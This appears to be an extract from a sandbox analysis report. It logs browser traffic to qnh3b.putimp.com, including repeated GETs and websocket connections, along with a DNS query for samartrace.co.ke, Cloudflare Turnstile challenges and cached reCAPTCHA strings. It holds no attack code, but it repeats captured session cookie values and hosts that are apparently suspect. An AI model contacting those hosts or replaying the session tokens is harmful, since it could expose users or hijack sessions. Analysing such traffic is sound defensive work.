XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGLAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stwgt99Sy67fohdZsxX40uDyhgxawMl0DLWKGHLTQ6P8y0JcmnSfKqVoctw10GtltrTR6rXbtBfGvtIj6mw8GmRBagh251 HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: qnh3b.putimp.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://qnh3b.putimp.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: v2iQJU5h6eFUIS5S9b8IsQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: qnh3b.putimp.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://qnh3b.putimp.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: dK7L2mTMgcj4rEi2DCKgYw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: qnh3b.putimp.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://qnh3b.putimp.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3DSec-WebSocket-Key: WeVx9llw26f/p/k5KnmRPw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: unknown

DNS traffic detected: queries for: samartrace.co.ke

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2618sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 998145d1b266cd0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 19:39:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCache-Control: max-age=14400Age: 13755Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Cq1fFiGHb%2B84J1CxIDjJOFeDMkXMJgZZbrS94qADkcXkdLypsmzF3rtO6CXtu5TpcXTRRJZFySBWsPtn%2BqJ1NNFptrkUNehGUVxGwiw8%2FnBMrK%2Bd1tKlP0uVwAJzA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: HITServer: cloudflareCF-RAY: 8756a4c01b78b062-ATL
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 19:40:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kkUIZ9bsufyLtrrimDpyWR5wOw76t4XCt61%2FNAyRCRCmrP4vuKZYyPZGzKYqVEXZZOEBAH4TFuNdca%2B%2FXOEsZh0MaqMRMU58XW4MOVDZG8k0ckVBD9BspjUjxj9TMw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8756a524891944d6-ATL
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 16 Apr 2024 19:40:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PAtAHP8x5Nn0CP70oA5D2EKFWRjs5%2FJLgZc7pqaiJE2wmBZ0J%2BeXL%2FqgecjqcFHBjxRyxxouoI1zHEFJ7hl0eVG9DfGbuJvfc2lT2e3rRrFg2v3s%2BWNVl2s9ucd2SQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}alt-svc: h3=":443"; ma=86400Server: cloudflareCF-RAY: 8756a548d9734531-ATL

Source: chromecache_100.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_100.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_100.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_100.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_100.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_100.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_100.2.dr	String found in binary or memory: https://recaptcha.net
Source: chromecache_100.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_100.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_100.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_100.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_100.2.dr, chromecache_105.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_100.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__.
Source: chromecache_105.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
